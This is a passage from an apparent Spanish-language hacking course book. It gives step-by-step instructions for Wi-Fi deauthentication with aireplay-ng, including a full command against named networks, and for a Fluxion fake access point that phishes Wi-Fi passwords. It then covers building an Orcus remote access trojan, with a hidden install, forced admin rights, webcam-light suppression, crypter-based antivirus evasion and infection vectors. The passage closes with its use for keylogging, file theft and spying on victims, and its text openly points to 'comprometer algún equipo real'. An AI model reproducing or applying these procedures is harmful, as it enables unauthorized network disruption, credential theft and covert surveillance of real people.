terminal en el dispositivo, en esta nueva se hará uso de Aireplay-ng.
Esta es una herramienta de inyección de paquetes, lo que quiere decir que puede realizar una
variedad de ataques hacia redes inalámbricas, en este ejemplo se realizará el ataque hacia las
redes INFINITUMyjf4 y ARRIS-7992. En la nueva terminal se ejecutará el siguiente comando:
“aireplay-ng -0 15 -a (aquí va el BSSID) -e (Aquí va el ESSID) wlan1mon”.
Donde:
¿Qué fue lo que sucedió? Mediante Aireplay-ng, hemos enviado frames de des autenticación
hacia el AP y a los clientes de este, como resultado expulsamos a todos los clientes que se
encontraban en la red por los 15 segundos que establecimos, aunque puedes aumentar la
duración del ataque por un tiempo mayor, sin embargo, el/los clientes podrán conectarse de
inmediato en cuanto paremos el ataque.
NOTA: Habrá ocasiones en las que la red objetivo estará operando en un canal distinto al de
nosotros, por lo que habrá que asignar dicho canal a la interface de red funcional.
Donde:
WPA y WPA2 son dos algoritmos de seguridad diferentes que se utilizan para proteger las
redes inalámbricas. WPA utiliza TKIP, mientras que WPA2 utiliza tanto (TKIP y AES). Hoy en
día, los routers inalámbricos y Access Points usan un método rápido y sin problemas de
conexión a una red segura. El WPS es una característica que permite una fácil configuración
de redes seguras; sin embargo, este puede ser fácilmente crackeado u obtenido con las
herramientas adecuadas que tengamos en nuestra distro para pentesting.
Para esto WPA fue diseñado para reemplazar a WEP porque con el paso del tiempo se
descubrió que los errores de seguridad hacen que sea fácil de obtener acceso no autorizado
en cuestión de minutos. A pesar de que WPA y WPA2 son mucho más difíciles de crackear
o descifrar, es posible para romper la protección WPA y hasta el último algoritmo de cifrado
(WPA2).
En la siguiente demostración el uso de la fuerza bruta no será el vector de ataque como suele
serlo con muchas herramientas, ahora será el uso de un AP falso (Fake Honeypot) para la
obtención del password del AP legítimo, asi no tendremos que esperar horas para encontrar
este password de acceso a la red, solo bastará con la obtención de un handshake para
conseguir nuestro propósito, aquí es cuando aparece Fluxion.
5. Luciendo así el entorno gráfico de Kali, abriremos una terminal en este, esta se puede
ubicar en la parte inferior de la pantalla en este nuevo panel:
7. Puesto que podemos llevar a cabo las mismas acciones por línea de comandos tanto en
este entorno gráfico como en el común, podemos acceder a los mismos directorios,
dentro de la terminal navegamos hacia el directorio “/root/fluxion/”, en donde reside la
herramienta. Dentro ejecutamos el comando “bash Installer.sh”, este inciará la
instalación de Fluxion en NetHunter, solo basta con esperar a que termine.
8. Al finalizar, conectaremos nuestra antena inalámbrica al movil mediante el cable OTG,
hecho eso entramos al directorio de nuevo y ejecutamos Fluxion de esta forma
“./fluxion”, al hacerlo, hará el Checking de las dependencias necesarias para su uso, y
ya podremos usarlo:
En esta nueva ventana se mostrarán los AP hallados en el área por la antena, mostrando en
columnas su BSSID, Intensidad de señal, Beacons, Canal, Tipo de Protección, y nombre
de cada uno. Este proceso de “Search & Find” no se detendrá hasta que se cierre la ventana,
por eso la cerraremos después de identificar la red objetivo para poder continuar en Fluxion.
Volviendo a él veremos estos mismos datos de nuevo, con la diferencia de que aquí se
muestran los AP o redes que muestran actividad (con clientes conectados),
diferenciándose con un asterisco al final de estas, aquí seleccionaremos la red víctima:
Luego de esto tendremos que especificar en donde se va a guardar el file con extensión “.cap”
que contendrá el o los “Handshakes” que se obtengan durante el ataque para usarlos en un
futuro si asi se decide, en este caso dejaremos vacío este campo, puesto que aún no tenemos
estos “Handshakes”:
Al seleccionar esto, comenzará el ataque de expulsión de clientes en la red objetivo, esto con
el fin de que se conecten de nuevo ya sea de forma automática o voluntaria y así obtener el
“Handshake”, notarás que de las ventanas abiertas habrá una donde se muestra el monitoreo
y captura de “Handshakes” y otra donde se lleva a cabo el ataque “deauth”, esto con el fin de
darle continuidad a la obtención de “Handshakes”:
Al seleccionar la interfaz web, se ocultará la red víctima y se creará un Access Point Falso con
el nombre de la red objetivo, seguido de esto comenzarán varios procesos, entre ellos un FAKE
DNS, en donde todo el tráfico que esté fluyendo por el AP falso será redirigido a nuestro movil
mostrándolo en la terminal donde corre este proceso.
También tenemos un Filtro DHCP, este va a capturar todas las solicitudes o “requests” que
provengan por parte del dispositivo o dispositivos conectados al Access Point, así como
también tenemos una terminal en donde se muestra información a detalle a cerca del AP Falso
que creamos, y los clientes (dispositivos) que están conectados a él, en este caso se ha
conectado intencionalmente un dispositivo iOS al Fake AP, por lo que las ventanas o
terminales muestran información relevante a ello:
Imágenes 12.7, 12.8, 12.9 y 13.0: Paneles de trabajo de Fluxion.
De lado del movil del cliente (sea un dispositivo Android o iOS) al mostrar las redes
inalámbricas disponibles notaremos que ha desaparecido el identificador de red segura para
la red legítima y se mostrará como abierta, este es nuestro Access Point Falso, al
seleccionarlo se abrirá un panel que contendrá el “Fake Login”.
En este portal falso en donde se ingresará la contraseña del AP legítimo. Al crearse este Fake
AP, se mostrará como una red abierta, por lo que al conectarse a ella aparece el “Banner” de
“Recomendación de Seguridad” (en Android no es así)
Una vez que el cliente/los clientes víctima intenten conectarse a la red, se les mostrará el “Fake
Login” que está trabajando en conjunto con el certificado SSL antes creado, dentro de este
sitio falso o “Scam” se les pedirá el password para poder hacer uso de la red Wi-Fi.
Así como también el directorio del archivo de salida o “output” donde se guardan el o los
passwords de la redes crackeadas, el cual es “/root/”NombreDeLaRed -password.txt”:
Habiendo terminado todo, podemos detener y cerrar Fluxion, este al cerrarse, establece la
configuración previa antes de ser usado o ponerse en marcha, devolviendo los valores
anteriores a varios parámetros de configuración y dejando las interfaces de red tal cual
antes de haber sido inicializado:
Imagen 13.7: Cierre de Fluxion.
Cabe destacar que el uso de Fake Access Points o Honeypots resulta bastante eficiente
para cumplir propósitos de este tipo, asi como el uso de ingeniería social para persuadir a la
víctima a ingresar a portales falsos, ejemplificando aquí su uso para persuadir a la/las víctimas
a proporcionar contraseñas de redes Wi-Fi con tal de seguir navegando en internet.
EXTRA: Como se mostró a lo largo del ejercicio, se vieron involucradas acciones de ataque
tipo “Denial of service” al montar el Fake AP, esto quiere decir que Fluxion puede hacer un
ataque de tipo “deauth” hacía una red en específico, aunque esta no sea su finalidad, resulta
útil en escenarios como los antes descritos en los ejercicios de “DoS”, y más porque Fluxion
automatiza la mayoría del proceso, solo basta con seguir los pasos anterior hasta la captura
de los Handshakes o hasta la creación del AP Falso si es que queremos ver qué dispositivos
se están expulsando.
Solo bastará con seleccionar la red objetivo y el método de captura de Handshake (método
deauth), siendo “mdk3” el más eficiente:
Imagen 13.8, 13.9 y 14.0: DoS hacia una red mediante Fluxion.
Administración remota mediante
RATs (Troyanos de Acceso
Remoto).
Siendo estos potencialmente peligrosos para muchos sistemas informáticos, los RATs (Remote
Access Trojans) por su traducción al inglés, son piezas de software que nos permiten llevar a
cabo una infección mayormente perjudicial, consiguiendo así acceso no autorizado al ordenador
de la víctima, abriéndonos la puerta para poder realizar tareas de monitoreo (surveillance), robo
de información sensible, como lo son passwords, información personal, tarjetas de crédito, etc.
Los RATs tienen el potencial de recolectar sumas cantidades de información de varios equipos
o personas, por lo que si un equipo ha sido infectado por algún software de este tipo, toda o mucha
información personal que se encuentre dentro de este habrá sido comprometida.
Los RATs también tienen su lugar en el mundo laboral o corporativo, ya sea que eres
administrador o jefe de sistemas, o de algún área en específico y estas a cargo de ciertos equipos
y las políticas del trabajo mencionan que el personal está sujeto a monitoreo constante en horas
laborales, este tipo de herramientas de administración remota pueden ser tu solución, ya que
pueden ser utilizadas para revisión constante de las tareas que se llevan a cabo en el quipo
mientras el personal lo usa.
La diferencia clave entre keyloggers, troyanos y demás malware de uso local, es que un RAT nos
permite tomar acceso hacia la maquina victima mediante especiales protocolos de
comunicación que son configurados como parte de la infección inicial en el equipo objetivo. Esta
puerta trasera o “Backdoor” permite el acceso sin restricciones dentro del equipo víctima,
consiguiendo así el monitoreo de esta persona o el del equipo, hacer “keyloggin”, explorar
archivos, cambiar configuraciones, hacer uso de la conexión a internet o ancho de banda de este
ordenador para actividades ilícitas, convertir esta máquina en un zombie para hacer un ataque
DDos, y mucho más.
En este capítulo se ejemplificará el uso y funciones de diferentes troyanos de acceso remoto, estos
serán Orcus y Luminosity Link, siendo estos unos de uso recomendable, puesto a que cuentan
con extenso repertorio de funciones para llevar a cabo tareas de post-explotación y que ofrecen
una estabilidad mayor a diferencia de otros RATs o herramientas de administración remota.
Comenzando nuestra aproximación.
Como se mencionó antes los RATs son herramientas diseñadas con la finalidad de ejecutar
acciones específicas vía remota y tener privilegios administrativos superiores, puesto a que
tienen una extensa capacidad de ejercer control y acciones (algunos RATs, no todos). Gracias
esto, este tipo de software es utilizado con fines malintencionados por ello, son catalogados como
malware.
Dentro del material proporcionado para el capítulo 2, encontrarás los 2 primeros elementos para
trabajar con esto.
NOTA: Las pruebas documentadas a lo largo de este capítulo se realizaron en un servidor privado
virtual (VPS), mediante el acceso por escritorio remoto, por lo que si deseas alquilar algún VPS
para hacer estas pruebas sin tener que usar el RAT desde tu sistema operativo nativo, puedes
hacerlo de esta forma, o puedes trabajarlo desde las máquinas virtuales con Windows
proporcionadas.
Configuración de un RAT.
Una vez estando en el equipo Windows, copiamos el contenido de la carpeta Orcus hacia esta,
hecho eso abriremos Orcus.
Imagen 14.2 y 14.3: Ubicación de herramienta, panel de Conexión y opción para crear un nuevo servidor.
Al abrirse lo primero que se mostrará será este panel para poder conectarse a un servidor, una
ventaja que tiene Orcus es que a donde lo lleves se conectará al server que fue creado, solo
basta con ingresar la dirección IP, puerto correspondiente y password proporcionados, esto lo
haremos con posterioridad, por ello, primero debemos crear el server antes mencionado, esto
desde la opción remarcada “Create new server”:
En esta nueva ventana ingresaremos la dirección IP correspondiente, en este caso hablamos del
equipo Windows que está en uso, otra ventaja de Orcus es que te permite crear un servidor con
las direcciones IP que requieras, en este caso solo usaremos una, también asignaremos un
puerto que se encuentre abierto en el equipo, uno común es el 80, que es donde corre el servicio
HTTP, aunque puedes escoger otro puerto (abierto).
Al tener los datos necesarios pulsaremos “ADD” para agregarlos a la lista del Server, es
importante esto, ya que sin ello el server creado no tendrá utilidad alguna, terminado eso,
ingresaremos un password, este password servirá como factor de autenticación para iniciar
nuestro trabajo con la plataforma de Orcus, cabe destacar que cada que genere un server, será
necesario proporcionarle un password, ya que con este ingresaremos al panel de trabajo de
Orcus, hecho esto escogeremos que trabajaremos sobre la interfaz gráfica (GUI) de Orcus, con
esto último listo, crearemos el Server con “BUILD”, al hacerlo nos preguntará en donde vamos a
guardarlo, al momento de crearse, ORCUS hace una nueva carpeta en su directorio
nombrada ”server”, que será donde la guardaremos, hecho esto, abrimos el archivo
“Orcus.server”:
Imagen 14.5 y 14.6: Selección de interfaz para configuración y generación de archivo de configuración para el server.
El lado de server (administrador) nos provee de una interfaz gráfica para trabajar con todas las
conexiones establecidas o provenientes (Clientes/Víctimas), otorgando control suficiente sobre
el sistema y la capacidad ejecutar numerosas tareas, para esto, tendremos que ingresar a la
plataforma de trabajo de Orcus, esto se hace desde el primer panel que se mostró, en donde
ingresaremos la dirección IP y password que se configuraron durante la creación del server:
Imagen 14.8 y 14.9: Conexión a servidor y panel de administración con opción “Build”.
Estando en la plataforma, a simple vista podremos notar que este software cuenta con múltiples
funciones, pero en realidad tiene más de lo que puedes imaginar y explicar todas y cada una de
estas, así como todo el funcionamiento y modo de uso del RAT tomaría un libro completo, por lo
que veremos las acciones más importantes. Para poder crear nuestro cliente (binario/troyano)
usaremos la opción “Build” que la parte superior izqda. de la ventana.
Dentro nos toparemos con una serie de pasos/protocolos de creación para este binario, siendo
el primero la configuración general (General Settings), en donde se especifica el grupo
identificador de clientes (Tag), el “Mutex” que es para establecer que una sola instancia del cliente
corra en el sistema, este puede dejar tal cual o generar de forma aleatorio (random), el Keylogger,
es recomendable dejarlo habilitado, y los privilegios, habilitar esta opción hace que al momento
de la ejecución del binario se adquieran privilegios administrativos:
Imagen 15.0: Configuraciones generales.
El segundo paso será establecer los parámetros de configuración de la conexión, en esta parte
solo añadiremos la dirección IP y puerto previamente asignados al servidor (Nosotros), para
establecerlos solo presionamos en “ADD”, es importante hacerlo, de lo contrario no servirá nuestro
troyano:
El tercer paso es configurar las “medidas de protección” para el binario a crear, en esta nueva
ventana tendremos múltiples parámetros opcionales en donde podrás personalizar estos
parámetros a tu gusto, de las 3 opciones solo estarán las 2 primeras habilitadas por default en
este ejemplo deshabilitaremos la primera puesto a que este binario lo ejecutaremos en una
máquina virtual. Por lo que solo utilizaremos la segunda opción, para hacer que una técnica
Anti-Debugging acompañe al binario:
El paso numero 4 será configurar la instalación del cliente (binario), aquí nos proveen de
múltiples opciones de configuración, como lo es el lugar/directorio raíz donde residirá el
cliente/troyano, si queremos ocultarlo de ahí, cambiar la fecha de creación de este, forzar la
obtención de privilegios administrativos al momento de la instalación, el auto-inicio del mismo
y el nombre con el que se identificará:
Imagen 15.3: Apartado de instalación.
El quinto paso (Opcional) será añadir información del ensamblaje o producción del software, aquí
podemos añadir información adicional a nuestro binario, como es el nombre, compañía,
producto, versión de este, copyright y demás detalles que lo pueden hacer lucir como una pieza
de software legítimo y confiable, en este caso se ingresaron los siguientes datos, solo es necesario
habilitar la opción “Change Assembly Information”, o si se tiene esta información lista en un
archivo, solo se carga desde la opción “LOAD FROM FILE”:
El paso numero 6 será la adición de “Plugins”, estos nos sirven para agregar funciones extra con
el fin de proporcionar cierto apoyo a las tareas de post-explotación/monitoreo, como lo es en
este caso el no encender la luz de la Webcam al momento de acceder a esta.
NOTA: Este plugin solo funciona en ciertos componentes de hardware (laptops), por lo que no
puede funcionar en otros, sin embargo no está de más tomarlo en cuenta:
Opcional: Si se quiere cambiar el icono del binario podemos escogerlo desde la opción “Change
Icon”.
Lo que significa que la forma de conseguir la infección con este ejecutable es que nosotros mismos lo
hagamos llegar al equipo víctima, desactivar protecciones, y ejecutarlo, o convencer a una persona
bastante ignorante para que haga todo esto (idea absurda). Pero antes de que intentemos esto habrá
que saber que tan amenazante resulta este binario.
Esto lo sabremos mediante plataformas de escaneo online, estas resultan bastante útiles al
momento de realizar este tipo de pruebas/ataques. El modo en el que funcionan es bastante simple,
en esta plataforma se hospedan múltiples computadoras cargadas con los diferente software de
protección (antivirus), en donde al momento de cargar nuestra muestra de software/malware será
analizado por todos estos antivirus (35), al terminar este proceso se mostrará un resumen de los
resultados indicando detalles como el índice de detección, MD5 y los antivirus que encontraron esta
muestra perjudicial y los que no encontraron nada. En este ejemplo utilizaremos la plataforma de
NoDistribute, visitando https://nodistribute.com/.
Al ingresar al sitio web, cargar nuestra primera muestra de malware y enviarla, los resultados
aparecerán mostrando los detalles anteriormente mencionados:
Lo que quiere decir que el método de evasión de todos o ciertos antivirus ya no es funcional, por
lo que habrá que encontrar otra forma de lograrlo, la solución más común para esto es comprar
un crypter privado, existen varios y diferentes sitios/medios para conseguirlos, pero queda bajo
tu responsabilidad la forma en que lo compres (o intentes) puesto a que hay mucho fraude en
cuanto a la venta de software de este tipo, por lo que te recomiendo tener muchísimo cuidado y
ser precavido en los sitios donde vayas a querer comprar o intentar comprar algo, ya sea mediante
PayPal, Bitcoin o algún otro método de pago.
Volviendo al troyano y los cambios a realizarle, durante este ejemplo haremos uso de un “Crypter”,
existen muchos de estos, unos más completos/complejos que otros, sin embargo todos tienen una
finalidad u objetivo en común; conseguir cifrar archivos o tratar de hacer FUD (Full
Undetectable) algún, bloque de código, script, binario o ejecutable con el fin de conseguir la
evasión de sistemas de protección informáticos, esto puede conseguirse mediante diferentes
técnicas, ya sea mediante la ofuscación del código y sus componentes del binario, mediante
alguna técnica Anti-Debugging, entre otras.
En este ejemplo utilizaremos un Crypter llamado “Masked Crypter”, este viene dentro del material
proporcionado para este capítulo y será nuestra herramienta para brindarle a nuestro binario las
características ya mencionadas, abrirás la aplicación y seguirás los siguientes pasos:
• Dentro de Masked Crypter, habrá 3 campos importantes; el que hará el Browsing del archivo a
realizar “Modding”, otro que hará Browsing de un icono para este, ya que es obligatorio y otro
que es un generador de caracteres aleatorios proporcionando así un “Mutex”, puede generar
cuantos quieras y escoger solo uno. En cada campo haremos la acción correspondiente.
• Del lado derecho nos encontramos con un pequeño panel de opciones para realizar el Modding
con el Crypter, de las cuales solamente escogeremos la primera, tercera y quinta opción.
• De las opciones seleccionadas; Remove Zone ID nos permite hacer bypass al recuadro “pop-
up” que aparece al momento de correr un .exe, Pack With UPX consigue una excelente relación
de compresión y ofrece una descompresión muy rápida, asi el binario no sufrirá ninguna
sobrecarga de memoria u otros inconvenientes, además de que ayuda a ofuscar el código,
y .NET Support nos proporciona ciertos bloques de código para conseguir compatibilidad
con .NET, y por ultimo hacemos clic en Crypt, para realizar el Modding del binario y guardarlo
con las características anteriores, obvio podrás cambiarle el nombre con posterioridad:
Imagen 15.9: Configuración de crypter para el binario.
Teniendo compilado este troyano, es momento de hacerlo llegar al equipo que se quiere administrar
de forma remota, en este caso hablamos de la VM con Windows, como ya se sabe, estamos usando
un ambiente controlado en esta prueba, por lo que solo se transferirá el binario y se ejecutará
manualmente.
NOTA: Para esto hay múltiples y diversas formas de infección, ya sea mediante correo electrónico,
“binders”, ingeniería social, entre otras, por lo que estará a tu elección el vector de infección por el que
en un futuro logres conseguir comprometer algún equipo real.
Teniendo el binario en el equipo víctima se ejecutará, y a simple vista no ocurrirá nada, solo un ligero
resalte en el brillo del ícono de binario al momento de correrlo.
En el panel principal de Orcus también se está indicando todo esto es en la barra de monitoreo; la
conexión establecida en Orcus y la conexión encontrada de un nuevo cliente (victima).
Debajo de ella encontráremos detalles de esta acción como lo es la hora, sistema operativo,
Username (nombre con el que se identifica el Host), sistema operativo y país si es posible obtener
este dato. Para poder trabajar con este nuevo cliente, debemos hacer clic derecho en su selección y
entrar mediante “Log In”, al hacerlo notáremos más actividad en la barra de monitoreo:
Una vez accedido al equipo mediante esta función, entraremos al panel de trabajo del cliente en
Orcus, en donde veremos una diversidad de funciones y acciones que se pueden llevar a cabo
en/sobre este cliente, puesto a que hay muchísimas de estas funciones, habría que escribir uno o
dos capítulos sobre el total uso de ellas, por ello, solo veremos las más interesantes.
Dentro del sub-panel “Config” nos toparemos con la configuración que reside en el cliente, está
no tiene que ver precisamente con la configuracion que se halla en el equipo infectado, sino de la
de nuestro binario/cliente, presentándonos un resumen o “Summary” acerca de las características
de este, notaremos que se hallan todas las que estuvieron involucradas en la parte del Builder:
Pasando a otra categoría, “Information” nos permite saber detalles más precisos sobre el uso de
esté equipo, como lo son las conexiones existentes o activas entre cliente y servidor, la captura de
passwords y cookies en el equipo cliente y el monitoreo del rendimiento. El “Summary” de las
conexiones activas puede resultar muy útil si se piensa llevar una bitácora o si se desea revisar
ciertos parámetros aquí encontráremos esta información, indicando el proceso, las direcciones
locales y remotas sobre las que se establezca esta conexión, el protocolo y el estatus de esta, y
por su puesto los datos de esta acción en la barra de monitoreo:
Imagen 16.9 y 17.0: Conexiones activa, proceso y demás detalles sobre esto en el equipo ajeno.
Cambiando a la función siguiente, desde el sub-panel “Computer” podemos saber detalles más
específicos acerca de los componentes de este equipo cliente, mostrando Hardware, info acerca
del sistema, OS, BIOS, particiones o HDD, entre lo más interesante nos encontramos con cosas
como el “Owner” (email que se usa para la cuenta Windows) y detalles acerca del disco duro:
Imagen 17.1 – 17.6: Información muy detallada acerca del equipo infectado.
Por otro lado tenemos la función “Performance” dentro podemos hallar info acerca del rendimiento
del equipo, como lo es el % del uso del procesador mostrando un gráfico de ello, modelo y
velocidad del procesador número de hilos o “Threads”, procesos que corren actualmente, tiempo
activo y demás.
Muchas funciones de los “sub-paneles” habrá que habilitarlas mediante el switch Azul del lado
derecho, de lo contrario no podrás hacer uso de ellas:
Dejando un poco atrás los detalles sobre el cliente, pasemos a algo más interesante y entretenido,
como es de esperarse, herramientas como los RATs puede hacer un sinfín de cosas, sin embargo,
no está de más mencionar que hay unos que están mucho más completos que otros por
cualquier lado que los veamos, y Orcus no es la excepción aquí.
Dentro de las categorías de funciones nos topamos con “Fun” (diversión), esta cuenta con
funciones que se llevan el título como su categoría lo indica, aquí es donde podemos tomar
acciones algo perjudiciales como molestas para el usuario, sin embargo tienen utilidad en
casos reales de monitoreo y espionaje.
Como primer ejemplo de uso, cabe mencionar que muchos RATs no cuentan con esta función, y
Orcus la trae consigo, abriremos con la función que nos permite enviar/reproducir un dictado
con distintas voces (masculinas/femeninas) en el equipo cliente/victima, solo basta con teclear
el texto a dictar, seleccionar la voz, velocidad de reproducción y volumen y enviarlo con “SEND”.
Comúnmente esto es usado con el fin de causar molestias al usuario, o en casos de monitoreo en
un lugar de trabajo el administrador lo usa para dar avisos o notificaciones más a detalle o
personales al usuario/cliente.
Otra función con la que cuentan casi todos los RATs es la de un Chat Box, y Orcus (obviamente)
cuenta con una más completa que los demás, en donde lejos de enviar un simple recuadro para
transferir mensajes, te ofrece muchas más funciones para poder trabajar sobre ello.
Entre ellas esta el poder colocar el título de la ventana, el nombre o nickname (tuyo), evitar que se
cierre, maximizarla permanentemente y minimizar las demás ventanas cuando aparezca este Chat
Box, para poder usar esta función deberás habilitar esta función con el “Switch Azul” del lado
derecho, en la siguiente página encontrarás su modo de uso, consulta las imágenes:
Imagen 18.2 – 18.4: Funciones de categoría “Común” y sitio web abierto por indicación remota.
También se puede podemos crear “Reminders” (Notas), con un texto en específico, lo que hará
esto simplemente será abrir un bloc de notas con el texto enviado, solo basta con escribirlo y
enviarlo con “Send”. Una función más en la categoría “User Interaction” es que podemos crear
notificaciones o tips mediante un globo (Ballon), ya sea de tipo aviso, info, recordatorio, alerta,
etc, obviamente con el título y texto que queramos poner durante el tiempo establecido en
milisegundos, en este caso 10,000:
Imagen 18.5 – 18.7: Función de Globo de aviso y acción guardada en el Log.
Otras funciones útiles en casos en los que el administrador/atacante no tenga nada que hacer son las
siguientes, de las cuales se puede sacar fácilmente de quicio a alguien, la primer función (Rotate
Monitor) es bastante simple, cambia la posición del monitor en los grados disponibles, el detalle es
que no funciona en ambientes virtualizados ya hay recursos que no pueden compartir o migrar del
sistema nativo al virtual, como lo es la tarjeta de gráficos, en cambio sí se intenta en un equipo real,
funcionará a la perfección.
En cambio, “Pure Evilness”, nos da un poco más de diversión sin mayor problema, aquí nos
encontramos con 2 botones, “LET IT BURN” y “WATER, WATER!”, la primera hace que esto comience
y la otra lo detiene, solo lo detiene, no lo repara.
¿Qué es lo que ha pasado? Lo que hace esta divertida pero desquiciante función es, tomar un
Screenshot del Desktop, rotar la imagen 180° y establecerlo como wallpaper, luego esconder la
barra de tareas e íconos, así el usuario creerá que la barra de arriba es funcional, pero en realidad
es una imagen, limitando bastante al usuario en cuestiones de funcionalidad. Al momento de
detener esto aparecerá la barra de nuevo y se colocará en su lugar, con el detalle que el escritorio
esta hecho un asco.
De las funciones vistas hasta ahora en la categoría “Fun”, en lo personal mi preferida es esta, así
que pasemos a algo más divertido (y puede que muy perjudicial/peligroso).
El uso del Screamer, es una “divertida” función hace que en milisegundos se bloqueé el equipo y
en pantalla completa aparezca una animación con gritos de fondo y a un volumen demasiado alto
en donde se muestra un rostro algo bizarro y la única forma de detenerlo es con la combinación
simultánea de teclas “Ctrl + Shift + V”.
Esto puede resultar en algo grave asi que te recomiendo al menos ser selectivo con quienes la
usas/usarás, además de que Orcus te da una advertencia de ello, el uso de esto queda bajo tu
propia responsabilidad:
Imagen 19.3, 19.4 y 19.5: Inicio, función y detención de Screamer.
Otras funciones que se pueden llevar a cabo dentro de esta misma categoría son las que pueden
hacer simples pero molestos cambios sobre el sistema, como lo es deshabilitar y habilitar el
administrador de tareas (Task Manager), esconder o mostrar el reloj y escritorio.
También hay otras que te permiten interactuar con el Hardware del cliente, como lo es el teclado
y mouse, haciendo que este se mueva de forma errática o se bloqueé por N segundos, o cambiar
el “input” del teclado (QWERTY por AEIOU y viceversa entre otros), obvio esto no se puede
mostrar de forma adecuada con imágenes, en cambio, si estas acciones se llevan a cabo con
éxito, se mostraran en la barra de monitoreo:
Imagen 19.6 y 19.7: Funcione sobre la barra de tareas del equipo ajeno.
Como se demostró en los ejemplos anteriores, la categoría “Fun” de Orcus cuenta con una vasta
diversidad de útiles funciones y características “Divertidas” que hacen que se ejerzan con
facilidad múltiples acciones de este tipo sobre el equipo cliente, desde abrir cuadros de diálogo,
avisos, y cosas molestas de ese tipo, hasta poder conseguir el Crashing del sistema o
Congelarlo (HANG), dejándolo inhábil temporalmente, todo desde una solo plataforma de
trabajo (Como también lo será en las otras categorías)
Dejando atrás la parte de juegos, pasaremos a una categoría más funcional y útil para nuestro
propósito, que es el ejercer control sobre el equipo cliente, aquí es cuando pasamos a la categoría
“SYSTEM”.
Sobre esta, se pueden llevar a cabo cosas interesantes, como la ejecución remota de código
(muy perjudicial), hacernos de una consola sobre el cliente, explorar registros, explorar archivos
con el fin de solo verlos, o descargar o cargar algo al equipo (muchas posibilidades), interactuar
más a fondo con los programas existentes en el equipo víctima y muchas otras cosas, y por ello,
antes de continuar con otra categoría, habrá trabajo por hacer aquí.
La segunda función que encontraremos aquí es la de “Console”, no hace falta una larga
explicación sobre esta, ya que solo nos proporciona una terminal de comandos “CMD” sobre
el cliente desde esta plataforma, solo basta con habilitarla y ejecutar los comandos que quieras,
en este ejemplo se ejecutó el comando “dir”:
En “Event Log” es básicamente un libro de registros que puede ser analizado con fines de obtener
un nivel superior de inteligencia (información) en la red, como pueden ser sucesos en
aplicaciones, errores en estas, procesos, y más detalles a fondo sobre estos registros.
En redes o “networking” una forma de apoyo para poder proveer información detallada sobre
ciertos registros, parámetros o “Usage” en la red o equipo es el “Event Log”. Este almacena los
datos anteriores o semejantes a estos, con el fin de que sea posteriormente consultado por
administradores de sistemas, sistemas de seguridad o por profesionales en seguridad.
Todo esto es con el fin de manejar distintos aspectos como, performance (rendimiento) o seguridad
y transparencia, hay herramientas como analizadores o visualizadores de registro de eventos
(como el que veremos).
Para esto solo basta con abrir el sub-panel “File Explorer”, seleccionar la partición o disco
correspondiente y buscar el o los directorios sobre los resultados que se muestren en la tabla, si
se quiere trabajar sobre un dicho directorio solo basta con hacer clic derecho en el para seleccionar
una acción sobre él, en este caso será la descarga de un directorio, mostrando una columna del
“status” y progreso de la o las descargas que se estén llevando a cabo, al terminar estas, en el
directorio raíz de Orcus se creará una carpeta nombrada “Downloads”. Consulta las imágenes:
Imagen 20.0, 20.1 y 20.2: Búsqueda y descarga de archivos ajenos del equipo infectado.
Algo más a lo que podemos sacar ventaja son las descargas forzadas, es decir, obligar al cliente
a realizar una descarga en específico, desde una imagen hasta algún archivo más perjudicial,
esto se puede llevar a cabo desde el sub-panel “Internet”, en donde podemos ingresar una URL
determinada y realizar esta descarga, además de que podemos hacerlo en masa o
simultáneamente:
Al abrir esta función tendremos que hacerle un “Refresh” al sub-panel para que enumere y
describa en una lista el software adicional encontrado, del cual podemos hacer cambios, como lo
es la desinstalación, solo basta con seleccionar el programa que buscamos y realizar la tarea
correspondiente:
Hasta ahora hemos explorado algunas de las categorías más funcionales de Orcus y le hemos
sacado provecho al asunto, ahora es momento de pasar a la que más nos interesa, que es la de
monitoreo o surveillance (vigilancia).
Como es de esperarse en Orcus, tanto las categorías como las funciones de cada una han sido
bastante eficientes y útiles, y obviamente la que estamos por ver no será la excepción. Aquí es en
donde entramos de lleno a fase de vigilancia o “espionaje”, ya que estas acciones lejos de
permitirnos leer conversaciones, encontrar patrones de búsquedas en navegadores web, tomar
capturas de pantalla, etc.
Esto puede llevarse más lejos llegando a lo que se conoce como espionaje corporativo, en donde
se puede obtener información acerca de escritos, descargar información importante que incluso
puede estar clasificada, ya que ocurra esto es demasiado común en el mundo corporativo o
laborar.
Cabe mencionar que esta fase se puede llevar a cabo en distintas formas o rutinas, no
necesariamente como se presentará aquí, ya que si has estas familiarizado con herramientas de
este tipo o algún trabajo similar, podrás adaptarlo al uso con Orcus si así lo prefieres.
Dentro de la Categoría “Surveillance”, nos encontráremos con 4 funciones de monitoreo en
tiempo real:
• Live Keylogger.
• Microphone Recorder.
• Screen.
• Webcam.
Cada una de estas nos provee de funciones distintas que resultan bastante útiles para este trabajo,
comencemos por “Keylogger”. A lo largo del libro COISP nivel 1 se habla sobre estas
herramientas, sin embargo no se toca a detalle su uso mediante RATs o administración remota,
estos pueden funcionar de forma local dentro de un mismo segmento de red o de forma
distante o remota, que es la manera en la que está por llevarse a cabo.
Estos tienen una sola finalidad, capturar los caracteres presionados y guardarlos para
posteriormente ser vistos o enviar esta información en tiempo real como lo veremos aquí. Hay
keyloggers muy simples que solo capturan el texto conseguido por las teclas presionadas, hasta
unos con un nivel de complejidad mayor o demasiado completos que capturan todos los caracteres
obtenidos durante la interacción con el medio HID (Teclado).
Esto con la finalidad de mostrar detalles que nos pueden ser muy útiles en esta acción de
espionaje, como puede ser el sitio web en donde se tecleo esto, el programa sobre el cual se
teclearon estos caracteres, el campo sobre el cual fue ingresada esta info y muchas cosas más,
esto se debe a que el código que constituye este tipo de Keyloggers trabaja a un nivel inferior o
más bajo, por ende, la obtención de todo lo anterior, una cosa muy ventajosa es que además de
todas las funciones antes descritas, estos Keyloggers evitan el LAG o retraso durante la captura
y envío de info así evitando la perdida de la misma, y por supuesto Orcus lo trae consigo.
La primer función o sub-panel con el que nos toparemos será el de “Live Keylogger”, lo
seleccionamos y solo basta con activarlo mediante el ya conocido “Switch” en la parte superior,
una vez habilitado aparecerá la acción en la barra de monitoreo y en el recuadro del Keylogger
la fecha y hora de esta acción, dependiendo de lo que esté haciendo el cliente se enviará en
tiempo real las acciones de este, en el ejemplo se capturo lo siguiente información solo con abrir
el navegador web de Internet Explorer ingresar al sitio de Gmail para loggearse en este (da igual
que navegador o versión de este se use) y por ultimo abrir un bloc de notas y escribir algo en él.
Consulta las imágenes:
Como se ejemplificó, el Keylogger que trae consigo Orcus está muy completo, funciona en una
forma bastante simple en la que podamos obtener considerables cantidades de información de
